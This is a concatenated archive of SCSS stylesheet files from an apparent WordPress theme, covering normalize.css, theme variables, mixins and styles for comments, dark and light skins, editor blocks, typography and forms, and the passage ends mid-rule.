@import 'modularscale/pow';
@import 'modularscale/strip-units';
@import 'modularscale/sort';
@import 'modularscale/round-px';
@import 'modularscale/target';
@import 'modularscale/function';
@import 'modularscale/respond';
@import 'modularscale/sugar';
// Normalize
@import 'normalize/normalize';
// Gridlex
@import 'gridlex/gridlex'; site/vendors/normalize/_normalize.scss 0000666 00000017264 15114372150 0014241 0 ustar 00 /*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */
/* Document
========================================================================== */
/**
* 1. Correct the line height in all browsers.
* 2. Prevent adjustments of font size after orientation changes in
* IE on Windows Phone and in iOS.
*/
html {
line-height: 1.15; /* 1 */
-ms-text-size-adjust: 100%; /* 2 */
-webkit-text-size-adjust: 100%; /* 2 */
}
/* Sections
========================================================================== */
/**
* Remove the margin in all browsers (opinionated).
*/
body {
margin: 0;
}
/**
* Add the correct display in IE 9-.
*/
article,
aside,
footer,
header,
nav,
section {
display: block;
}
/**
* Correct the font size and margin on `h1` elements within `section` and
* `article` contexts in Chrome, Firefox, and Safari.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/* Grouping content
========================================================================== */
/**
* Add the correct display in IE 9-.
* 1. Add the correct display in IE.
*/
figcaption,
figure,
main { /* 1 */
display: block;
}
/**
* Add the correct margin in IE 8.
*/
figure {
margin: 1em 40px;
}
/**
* 1. Add the correct box sizing in Firefox.
* 2. Show the overflow in Edge and IE.
*/
hr {
box-sizing: content-box; /* 1 */
height: 0; /* 1 */
overflow: visible; /* 2 */
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
pre {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/* Text-level semantics
========================================================================== */
/**
* 1. Remove the gray background on active links in IE 10.
* 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
*/
a {
background-color: transparent; /* 1 */
-webkit-text-decoration-skip: objects; /* 2 */
}
/**
* 1. Remove the bottom border in Chrome 57- and Firefox 39-.
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
*/
abbr[title] {
border-bottom: none; /* 1 */
text-decoration: underline; /* 2 */
text-decoration: underline dotted; /* 2 */
}
/**
* Prevent the duplicate application of `bolder` by the next rule in Safari 6.
*/
b,
strong {
font-weight: inherit;
}
/**
* Add the correct font weight in Chrome, Edge, and Safari.
*/
b,
strong {
font-weight: bolder;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
code,
kbd,
samp {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/**
* Add the correct font style in Android 4.3-.
*/
dfn {
font-style: italic;
}
/**
* Add the correct background and color in IE 9-.
*/
mark {
background-color: #ff0;
color: #000;
}
/**
* Add the correct font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` elements from affecting the line height in
* all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sub {
bottom: -0.25em;
}
sup {
top: -0.5em;
}
/* Embedded content
========================================================================== */
/**
* Add the correct display in IE 9-.
*/
audio,
video {
display: inline-block;
}
/**
* Add the correct display in iOS 4-7.
*/
audio:not([controls]) {
display: none;
height: 0;
}
/**
* Remove the border on images inside links in IE 10-.
*/
img {
border-style: none;
}
/**
* Hide the overflow in IE.
*/
svg:not(:root) {
overflow: hidden;
}
/* Forms
========================================================================== */
/**
* 1. Change the font styles in all browsers (opinionated).
* 2. Remove the margin in Firefox and Safari.
*/
button,
input,
optgroup,
select,
textarea {
font-family: sans-serif; /* 1 */
font-size: 100%; /* 1 */
line-height: 1.15; /* 1 */
margin: 0; /* 2 */
}
/**
* Show the overflow in IE.
* 1. Show the overflow in Edge.
*/
button,
input { /* 1 */
overflow: visible;
}
/**
* Remove the inheritance of text transform in Edge, Firefox, and IE.
* 1. Remove the inheritance of text transform in Firefox.
*/
button,
select { /* 1 */
text-transform: none;
}
/**
* 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
* controls in Android 4.
* 2. Correct the inability to style clickable types in iOS and Safari.
*/
button,
html [type="button"], /* 1 */
[type="reset"],
[type="submit"] {
-webkit-appearance: button; /* 2 */
}
/**
* Remove the inner border and padding in Firefox.
*/
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style: none;
padding: 0;
}
/**
* Restore the focus styles unset by the previous rule.
*/
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline: 1px dotted ButtonText;
}
/**
* Correct the padding in Firefox.
*/
fieldset {
padding: 0.35em 0.75em 0.625em;
}
/**
* 1. Correct the text wrapping in Edge and IE.
* 2. Correct the color inheritance from `fieldset` elements in IE.
* 3. Remove the padding so developers are not caught out when they zero out
* `fieldset` elements in all browsers.
*/
legend {
box-sizing: border-box; /* 1 */
color: inherit; /* 2 */
display: table; /* 1 */
max-width: 100%; /* 1 */
padding: 0; /* 3 */
white-space: normal; /* 1 */
}
/**
* 1. Add the correct display in IE 9-.
* 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
*/
progress {
display: inline-block; /* 1 */
vertical-align: baseline; /* 2 */
}
/**
* Remove the default vertical scrollbar in IE.
*/
textarea {
overflow: auto;
}
/**
* 1. Add the correct box sizing in IE 10-.
* 2. Remove the padding in IE 10-.
*/
[type="checkbox"],
[type="radio"] {
box-sizing: border-box; /* 1 */
padding: 0; /* 2 */
}
/**
* Correct the cursor style of increment and decrement buttons in Chrome.
*/
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Correct the odd appearance in Chrome and Safari.
* 2. Correct the outline style in Safari.
*/
[type="search"] {
-webkit-appearance: textfield; /* 1 */
outline-offset: -2px; /* 2 */
}
/**
* Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
*/
[type="search"]::-webkit-search-cancel-button,
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* 1. Correct the inability to style clickable types in iOS and Safari.
* 2. Change font properties to `inherit` in Safari.
*/
::-webkit-file-upload-button {
-webkit-appearance: button; /* 1 */
font: inherit; /* 2 */
}
/* Interactive
========================================================================== */
/*
* Add the correct display in IE 9-.
* 1. Add the correct display in Edge, IE, and Firefox.
*/
details, /* 1 */
menu {
display: block;
}
/*
* Add the correct display in all browsers.
*/
summary {
display: list-item;
}
/* Scripting
========================================================================== */
/**
* Add the correct display in IE 9-.
*/
canvas {
display: inline-block;
}
/**
* Add the correct display in IE.
*/
template {
display: none;
}
/* Hidden
========================================================================== */
/**
* Add the correct display in IE 10-.
*/
[hidden] {
display: none;
} site/utils/_vars.scss 0000666 00000003440 15114372150 0010663 0 ustar 00 // Modular Scale settings
$ms-base: 1em, 0.875em;
$ms-ratio: 1.618;
// Site Fonts
$font_main: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;
$font_heading: $font_main;
$font_code: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
$font_pre: "Courier 10 Pitch", Courier, monospace;
$container_width: 1200px; // 1200px; 75em
// Background
$background_body: #ffffff;
// Colors
$color_text: #686868;
$color_heading: #2b2b2b;
$color_primary: #235787;
$color_secondary: #c3512f;
$color_link: #1e4b75;
$color_link_hover: #111111;
$color_border: #eaecee;
$color_meta: #6d6d6d;
// Box Shadow
$boxshadow_dropdown: 0 3px 30px rgba(25,30,35,.1);
// Helper
$submenu_width: 14em;
// Skin
// - Dark mode
$light_color: white(0.99);
$light_color_link: white(0.79);
$light_color_link_hover: white(0.99);
$light_color_border: rgba(255,255,255,0.08);
$light_bg: rgba(255,255,255,0.9);
// - Light mode
$dark_color: black(0.6);
$dark_color_link: black(0.55);
$dark_color_link_hover: black(0.8);
$dark_color_border: rgba(0,0,0,0.08);
$dark_bg: rgba(0,0,0,0.9);
// Screen resolutions
$screen_lg: 80em; // max 1280px
$screen_md: 64em; // max 1024px
$screen_sm: 48em; // max 768px
$screen_xs: 35.5em; // up to 568px
/*
$gl-devices-list: (
desktop: "screen and (min-width: 64em)", // up 1024px
tablet: "screen and (max-width: 64em) and ( min-width: 35.5em )", // 568px - 1024px
mobile: "screen and (max-width: 35.5em)" // from to 568px to smaller
) !default;
*/
$gl-devices-list: (
desktop: "screen and (min-width: 1025px)", // up 1024px
tablet: "screen and (max-width: 1024px)", // 568px - 1024px
mobile: "screen and (max-width: 568px)" // from to 568px to smaller
) !default;
site/utils/_mixins.scss 0000666 00000003420 15114372150 0011215 0 ustar 00 // clearfix helper
@mixin clearfix {
&:before, &:after {
content: "";
display: table;
}
&:after {
clear: both;
}
}
@mixin rtl() {
html[dir="rtl"] & {
@content;
}
}
// Skin mode
@function black($opacity) {
@return rgba(black, $opacity)
}
@function white($opacity) {
@return rgba(white, $opacity)
}
//$screen_lg: 80em; // max 1280px
//$screen_md: 64em; // max 1024px
//$screen_sm: 48em; // max 768px
//$screen_xs: 35.5em; // up to 568px
// Mobile first responsive
@mixin mq($media) {
@if $media == min-xs {
@media screen and (min-width: $screen_xs) { @content; }
}
@else if $media == max-xs {
@media screen and (max-width: $screen_xs) { @content; }
}
@if $media == min-sm {
@media screen and (min-width: $screen_sm) { @content; }
}
@else if $media == max-sm {
@media screen and (max-width: $screen_sm) { @content; }
}
@else if $media == min-md {
@media screen and (min-width: $screen_md) { @content; }
}
@else if $media == max-md {
@media screen and (max-width: $screen_md) { @content; }
}
@else if $media == min-lg {
@media screen and (min-width: $screen_lg) { @content; }
}
@else if $media == max-lg {
@media screen and (max-width: $screen_lg) { @content; }
}
}
/************************
Device Query
*************************/
@mixin for_device( $device_name ){
@if map-has-key( $gl-devices-list, $device_name) {
@media #{map-get( $gl-devices-list, $device_name)} {
@content;
}
}@else {
@if map-has-key( $gl-mq-list, $device_name) {
@media #{map-get($gl-mq-list, $device_name)} {
@content;
}
}
}
}
site/base/_comments.scss 0000666 00000004004 15114372150 0011304 0 ustar 00 /*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
.comment-reply-title {
@extend h4;
}
.comment-form-comment,
.comment-form-author,
.comment-form-email,
.comment-form-url {
label {
text-transform: uppercase;
letter-spacing: 0.5px;
font-size: 0.85em;
}
}
}
.comment-list {
list-style: none;
margin: 0;
article.comment {
margin-bottom: 0px;
}
ul {
list-style: none;
margin: 0;
}
.children li.comment {
padding-left: 30px;
@include mq(min-md) {
padding-left: 85px;
border-left: 1px solid $color_border;
position: relative;
width: 100%;
&:after {
content: "";
display: block;
position: absolute;
float: left;
top: ms(2);
left: 0;
width: ms(2);
height: 1px;
background-color: $color_border;
}
}
@include mq(max-sm) {
li.comment li.comment li.comment {
padding-left: 0px;
}
}
}
}
article.comment {
padding: ms(2) 0;
margin-bottom: ms(2);
.comment-content {
p:last-of-type {
margin-bottom: 0px;
}
}
.comment-image {
float: left;
}
.comment-wrap {
margin-left: 85px;
}
.comment-meta {
display: block;
margin: 12px 0px 12px;
padding-bottom: 4px;
border-bottom: 1px solid $color_border;
.comment-edit-link {
margin-left: 10px;
}
}
.comment-author {
font-weight: 500;
text-transform: uppercase;
line-height: 1;
font-style: normal;
}
.comment-post-author {
background: $color_meta;
padding: 1px 6px 1px;
border-radius: 2px;
color: #ffffff;
position: relative;
top: -2px;
margin-left: 4px;
}
}
#respond {
.comment-form-author,
.comment-form-email,
.comment-form-url {
@include mq(min-md) {
width: 29.4117647059%;
margin-right: 5.8823529412%;
float: left;
}
input {
width: 100%;
}
}
.comment-form-url {
margin-right: 0px;
}
.comment-form-cookies-consent {
#wp-comment-cookies-consent {
position: relative;
top: -1px;
margin-right: 5px;
}
}
}
site/base/_skins.scss 0000666 00000005044 15114372150 0010613 0 ustar 00 // Skin mode
.dark-mode {
.header--row & {
color: $light_color;
background: $dark_bg;
}
// Header items
.nav-menu-desktop {
&.style-border-top,
&.style-border-bottom,
&.style-plain {
.nav-menu {
> li {
> a {
&:hover,
&:focus {
color: $light_color_link_hover;
}
}
&.current-menu-item,
&.current-menu-ancestor {
> a {
color: $light_color_link_hover;
}
}
}
}
}
}
// Site identity
.site-title,
.site-title a {
color: $light_color_link_hover;
}
.customify-builder-social-icons.color-custom li a,
.search-icon,
.menu-mobile-toggle,
.nav-menu > li > a,
.item--html a {
color: $light_color_link;
&:hover {
color: $light_color_link_hover;
}
}
.cart-item-link {
color: $light_color_link;
.cart-icon {
color: $light_color_link_hover;
}
&:hover {
color: $light_color_link_hover;
}
}
// Only for dark mode
.header-search_box-item {
.search-form-fields {
background: white(0.03);
border-color: $light_color_border;
color: $light_color_link;
.search-field{
color: $light_color_link;
&::placeholder {
color: $light_color_link;
}
}
}
.search-submit {
color: $light_color_link;
&:hover {
color: $light_color_link_hover;
}
}
}
}
.woo_bootster_search {
.dark-mode{
.header-search_box-item {
.header-search-form {
.search_product_cats{
background-color: white(0.03);
border-color: $light_color_border;
color: $light_color_link;
}
.search-field{
background-color: white(0.03)!important;
border-color: $light_color_border;
color: $light_color_link;
}
}
}
}
}
.light-mode {
.header--row & {
color: $dark_color;
background: $light_bg;
}
// Header items
.nav-menu-desktop {
&.style-border-top,
&.style-border-bottom,
&.style-plain {
.nav-menu {
> li {
> a {
&:hover,
&:focus {
color: $dark_color_link_hover;
}
}
&.current-menu-item,
&.current-menu-ancestor {
> a {
color: $dark_color_link_hover;
}
}
}
}
}
}
// Site identity
.site-title,
.site-title a {
color: $dark_color_link_hover;
}
.customify-builder-social-icons.color-custom li a,
.search-icon,
.menu-mobile-toggle,
.item--html a,
.nav-menu > li > a {
color: $dark_color_link;
&:hover {
color: $dark_color_link_hover;
}
}
.cart-item-link {
color: $dark_color_link;
.cart-icon {
color: $dark_color_link_hover;
}
&:hover {
color: $dark_color_link_hover;
}
}
} site/base/_blocks.scss 0000666 00000007700 15114372150 0010742 0 ustar 00 .single-post .content-inner {
margin-left: auto;
margin-right: auto;
}
.entry-content > * {
margin-left: auto;
margin-right: auto;
}
.entry-content {
.alignleft{
margin-right: 1.41575em;
}
}
// Layout no sidebar.
.main-layout-content {
.entry-content > .alignwide {
max-width: 100vw;
max-width: calc(var(--vw, 1vw) * 100);
width: 1200px;
transform: translateX(-50%);
left: 50%;
position: relative;
}
.entry-content > .alignfull {
margin: 1.5em 0;
max-width: 100vw;
max-width: calc(var(--vw, 1vw) * 100);
width: 100vw;
width: calc(var(--vw, 1vw) * 100);
transform: translateX(-50%);
left: 50%;
position: relative;
}
}
// Right sidebar(s)
.main-layout-content-sidebar,
.main-layout-content-sidebar-sidebar {
&.single-post .content-inner {
margin-left: 0px;
}
}
// Left sidebar(s)
.main-layout-sidebar-content,
.main-layout-sidebar-sidebar-content {
&.single-post .content-inner {
margin-right: 0px;
}
}
.entry-content ul,
.entry-content ol {
margin: 1.5em auto;
list-style-position: outside;
}
.wp-block-video video {
max-width: 100%;
}
.wp-block-image img {
display: block;
}
.wp-block-image.alignleft,
.wp-block-image.alignright {
width: 100%;
}
.wp-block-image.alignfull img {
width: 100vw;
width: calc(var(--vw, 1vw) * 100);
}
.wp-block-gallery:not(.components-placeholder) {
margin: 1.5em auto;
}
.wp-block-cover-text p {
padding: 1.5em 14px;
}
ul.wp-block-latest-posts.alignwide,
ul.wp-block-latest-posts.alignfull,
ul.wp-block-latest-posts.is-grid.alignwide,
ul.wp-block-latest-posts.is-grid.alignwide {
padding: 0 14px;
}
.wp-block-table {
display: block;
overflow-x: auto;
}
.wp-block-table table {
border-collapse: collapse;
width: 100%;
}
.wp-block-table td,
.wp-block-table th {
padding: 0.5em;
}
.entry-content li {
margin-left: 2.5em;
margin-bottom: 6px;
}
.entry-content ul ul,
.entry-content ol ol,
.entry-content ul ol,
.entry-content ol ul {
margin-bottom: 0px;
margin-top: 0px;
margin-left: 2.5em;
}
.entry-content ul ul li,
.entry-content ol ol li,
.entry-content ul ol li,
.entry-content ol ul li {
margin-left: 0;
}
.wp-block-embed.is-type-video {
> .wp-block-embed__wrapper {
position: relative;
width: 100%;
height: 0;
padding-top: 56.25%;
iframe, > object {
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
bottom: 0;
right: 0;
}
}
}
.wp-block-quote {
&.is-style-large {
cite {
font-size: 13px;
}
padding: 0px;
}
border-left-width: 4px;
border-left-color: currentColor;
> * {
margin-left: 16px;
margin-right: 16px;
}
cite {
font-style: normal;
margin-top: 1em;
position: relative;
font-size: 13px;
}
}
.wp-block-pullquote {
border-bottom: 4px solid currentColor;
border-top: 4px solid currentColor;
margin-left: 0;
margin-right: 0;
padding: 3em 0;
text-align: center;
> p:first-child {
margin-top: 0;
}
cite {
font-size: 13px;
font-style: normal;
text-transform: uppercase;
}
blockquote {
border-left: 0px;
}
}
.wp-block-separator {
margin: 3em auto;
border: none;
border-bottom: 2px solid currentColor;
&:not(.is-style-wide) {
max-width: 100px;
}
&.is-style-dots {
border-bottom: none !important;
text-align: center;
&::before {
padding-left: 0px;
font-size: 30px;
}
}
}
@media screen and (min-width: 768px) {
.wp-block-cover-text p {
padding: 1.5em 0;
}
}
/*--------------------------------------------------------------
# Block Color Palette Colors
--------------------------------------------------------------*/
.has-strong-blue-color {
color: #0073aa;
}
.has-strong-blue-background-color {
background-color: #0073aa;
}
.has-lighter-blue-color {
color: #229fd8;
}
.has-lighter-blue-background-color {
background-color: #229fd8;
}
.has-very-light-gray-color {
color: #eee;
}
.has-very-light-gray-background-color {
background-color: #eee;
}
.has-very-dark-gray-color {
color: #444;
}
.has-very-dark-gray-background-color {
background-color: #444;
}
site/base/_base.scss 0000666 00000044334 15114372150 0010403 0 ustar 00 /*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
# Typography
# Elements
# Forms
# Accessibility
# Alignments
# Clearings
# Media
# Media: Captions
# Media: Galleries
# Comments
# Helper
/*--------------------------------------------------------------
# Typography
--------------------------------------------------------------*/
body {
color: $color_text;
font-family: $font_main;
font-weight: 400;
line-height: 1.618;
-moz-osx-font-smoothing: grayscale;
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
}
/* # Heading */
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
font-weight: 400;
font-family: $font_main;
margin: 0 0 ms(-3);
color: $color_heading;
clear: both;
}
h1,
.h1 {
font-size: 2.42em;
line-height: 1.216;
@include for_device(tablet) {
font-size: 2.1em;
}
@include for_device(mobile) {
font-size: 1.8em;
}
}
h2,
.h2 {
font-size: 2.1em;
line-height: 1.216;
& + h3 {
border-top: 1px solid $color_border;
padding-top: ms(-3);
}
@include for_device(tablet) {
font-size: 1.9em;
}
@include for_device(mobile) {
font-size: 1.7em;
}
}
h3,
.h3 {
font-size: ms(2);
}
h4,
.h4 {
font-size: ms(1);
}
/* # Copy */
p {
margin: 0 0 ms(1);
}
dfn,
cite,
em,
i {
font-style: italic;
}
blockquote {
padding: 0px ms(1);
margin: ms(1) ms(2);
border-left: 3px solid $color_border;
font-style: italic;
font-weight: 200;
font-size: 1.2em;
p:last-of-type {
margin-bottom: 0px;
}
}
address {
margin: 0 0 ms(2);
}
pre {
background: darken($background_body, 5%);
font-family: "Courier 10 Pitch", Courier, monospace;
margin-bottom: ms(3);
padding: ms(2);
overflow: auto;
max-width: 100%;
}
code,
kbd,
tt,
var {
background-color: rgba(0, 0, 0, 0.05);
font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
padding: 0.15em ms(-3);
border-radius: 2px;
}
abbr,
acronym {
border-bottom: 1px dotted $color_text;
cursor: help;
}
mark,
ins {
background: transparent;
text-decoration: none;
}
big {
font-size: 125%;
}
/*--------------------------------------------------------------
# Elements
--------------------------------------------------------------*/
html {
box-sizing: border-box;
}
*,
*:before,
*:after {
/* Inherit box-sizing to make it easier to change the property for components that leverage other behavior; see http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */
box-sizing: inherit;
}
body {
background: $background_body; /* Fallback for when there is no custom background color defined. */
}
hr {
background-color: #ccc;
border: 0;
height: 1px;
margin: 0 0 ms(2);
}
img {
height: auto; /* Make sure images are scaled correctly. */
max-width: 100%; /* Adhere to container width. */
}
figure {
margin: ms(0) 0; /* Extra wide images within figure tags don't overflow the content area. */
}
/* Links */
a.plain_color {
color: currentColor;
}
a {
color: $color_link;
text-decoration: none;
transition: all 0.14s ease-out;
&:hover,
&:focus {
color: $color_link_hover;
}
&:hover,
&:active {
outline: 0;
}
}
/* # Lists */
ul,
ol {
margin: 0 0 ms(2) ms(4);
padding: 0;
}
ul {
list-style: disc;
}
ol {
list-style: decimal;
}
li > ul,
li > ol {
margin-bottom: 0;
margin-left: ms(4);
}
dt {
font-weight: bold;
}
dd {
margin: 0 0 ms(2);
}
/* # Table */
table {
width: 100%;
max-width: 100%;
margin-bottom: ms(3);
border-spacing: 0;
border-collapse: separate;
caption {
padding: ms(1);
font-weight: 600;
}
th {
background: darken($background_body, 5%);
font-weight: 500;
}
th,
td {
padding: ms(0) ms(2);
vertical-align: top;
text-align: left;
font-size: 0.9em;
}
thead th {
vertical-align: middle;
}
tbody {
td {
background: darken($background_body, 2%);
}
tr:nth-child(2n) td {
background: darken($background_body, 3%);
}
}
}
/* Float + Clear */
.clearfix,
.clear {
&:before,
&:after {
content: "";
display: table;
}
&:after {
clear: both;
}
}
.pull-right {
float: right;
margin-right: 0px;
}
.pull-left {
float: left;
margin-left: 0px;
}
/*--------------------------------------------------------------
# Forms
--------------------------------------------------------------*/
form {
margin-bottom: 2em;
}
input[type="text"],
input[type="email"],
input[type="url"],
input[type="password"],
input[type="search"],
input[type="number"],
input[type="tel"],
input[type="range"],
input[type="date"],
input[type="month"],
input[type="week"],
input[type="time"],
input[type="datetime"],
input[type="datetime-local"],
input[type="color"],
select,
textarea,
.select2-container .select2-selection--single {
color: #282828;
border: 1px solid #e5e5e5;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
padding: 0 0.75em;
height: 2.6em;
width: 100%;
max-width: 100%;
vertical-align: middle;
border-radius: 1px;
-moz-appearance: none;
-webkit-appearance: none;
&:focus {
border-color: rgba(0, 0, 0, 0.1);
outline: none;
background-color: #f9f9f9;
}
}
select {
box-shadow: none;
background-image: url(data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTguMS4xLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEwMCAxMDAiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDEwMCAxMDA7IiB4bWw6c3BhY2U9InByZXNlcnZlIiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4Ij4KPGc+Cgk8cGF0aCBkPSJNNDkuOTk4LDBMMjcsMzYuNDk4bDQ2LDAuMDA0TDQ5Ljk5OCwweiBNNTAuMDA0LDEwMEw3Myw2My41MDJsLTQ2LTAuMDA0TDUwLjAwNCwxMDB6IiBmaWxsPSIjMDAwMDAwIi8+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPC9zdmc+Cg==);
background-position: center right 8px;
background-repeat: no-repeat;
padding-right: 1.5em;
cursor: pointer;
}
.select2-container--default {
.select2-selection--single {
box-shadow: none;
.select2-selection__rendered {
line-height: 2.4em;
min-height: 2.6em;
padding-left: 0px;
}
.select2-selection__arrow {
top: 46%;
right: 1px;
transform: translateY(-38%);
background-image: url(data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTguMS4xLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEwMCAxMDAiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDEwMCAxMDA7IiB4bWw6c3BhY2U9InByZXNlcnZlIiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4Ij4KPGc+Cgk8cGF0aCBkPSJNNDkuOTk4LDBMMjcsMzYuNDk4bDQ2LDAuMDA0TDQ5Ljk5OCwweiBNNTAuMDA0LDEwMEw3Myw2My41MDJsLTQ2LTAuMDA0TDUwLjAwNCwxMDB6IiBmaWxsPSIjMDAwMDAwIi8+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPC9zdmc+Cg==);
background-position: center right 8px;
background-repeat: no-repeat;
b {
display: none;
}
}
}
.select2-dropdown {
border: 1px solid #e5e5e5;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
}
}
.button:not(.components-button):not(.customize-partial-edit-shortcut-button),
button:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="button"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="reset"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="submit"]:not(.components-button):not(.customize-partial-edit-shortcut-button) {
border: none;
cursor: pointer;
padding: 0px 1.3em;
line-height: 2.5em;
min-height: 2.6em;
max-width: 100%;
font-weight: bolder;
text-transform: uppercase;
transition: transform 0.3s, border 0.3s, background 0.3s, box-shadow 0.3s,
opacity 0.3s, color 0.3s;
border-radius: 1px;
display: inline-block;
&:hover {
box-shadow: inset 0 0 0 120px rgba(0, 0, 0, 0.18);
color: #ffffff;
outline: none;
}
&:active,
&:focus {
outline: none;
}
&.loading {
position: relative;
i,
svg,
.icon-label,
.hide-on-loading,
.button-label {
visibility: hidden;
}
&:after {
content: "" !important;
height: 16px;
width: 16px;
animation: spin 0.6s linear infinite;
border: 2px solid rgba(0, 0, 0, 0.3);
border-left-color: currentColor;
border-radius: 50%;
display: block;
position: absolute;
top: 50%;
left: 50%;
margin-top: -8px;
margin-left: -8px;
padding: 0px;
line-height: 0px;
}
}
}
.button:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="button"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="reset"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="submit"]:not(.components-button):not(.customize-partial-edit-shortcut-button) {
color: #ffffff;
background: $color_primary;
&:focus {
color: #ffffff;
}
}
.button[disabled]:not(.components-button):not(.customize-partial-edit-shortcut-button),
button[disabled]:not(.components-button):not(.customize-partial-edit-shortcut-button),
button.disabled:not(.components-button):not(.customize-partial-edit-shortcut-button),
.button.disabled:not(.components-button):not(.customize-partial-edit-shortcut-button) {
opacity: 0.5;
}
textarea {
padding: 0.575em 0.875em 0;
min-height: 130px;
}
button::-moz-focus-inner,
input::-moz-focus-inner {
border: 0;
padding: 0;
}
select {
//border: 1px solid darken( $background_body,5% );
}
fieldset {
border: none;
margin: ms(3) 0;
padding: 0;
legend {
margin-bottom: ms(-3);
font-weight: 600;
}
}
label {
color: #252525;
}
/*--------------------------------------------------------------
# Accessibility
--------------------------------------------------------------*/
/* Text meant only for screen readers. */
.screen-reader-text {
clip: rect(1px, 1px, 1px, 1px);
position: absolute !important;
height: 1px;
width: 1px;
overflow: hidden;
word-wrap: normal !important; /* Many screen reader and browser combinations announce broken words as they would appear visually. */
&:focus {
background-color: #f1f1f1;
border-radius: 3px;
box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
clip: auto !important;
display: block;
font-weight: bold;
height: auto;
left: 0px;
line-height: normal;
padding: 1em ms(3);
text-decoration: none;
top: 0px;
width: auto;
z-index: 100000; /* Above WP toolbar. */
}
}
/* Do not show the outline on the skip link target. */
#content[tabindex="-1"]:focus {
outline: 0;
}
/*--------------------------------------------------------------
# Alignments
--------------------------------------------------------------*/
.alignleft {
display: inline;
float: left;
margin-right: ms(1);
}
.alignright {
display: inline;
float: right;
margin-left: ms(1);
}
.aligncenter {
clear: both;
display: block;
margin: 0 auto;
}
/*--------------------------------------------------------------
# Clearings
--------------------------------------------------------------*/
.clear:before,
.clear:after,
.entry-content:before,
.entry-content:after,
.comment-content:before,
.comment-content:after,
.site-header:before,
.site-header:after,
.site-content:before,
.site-content:after,
.site-footer:before,
.site-footer:after {
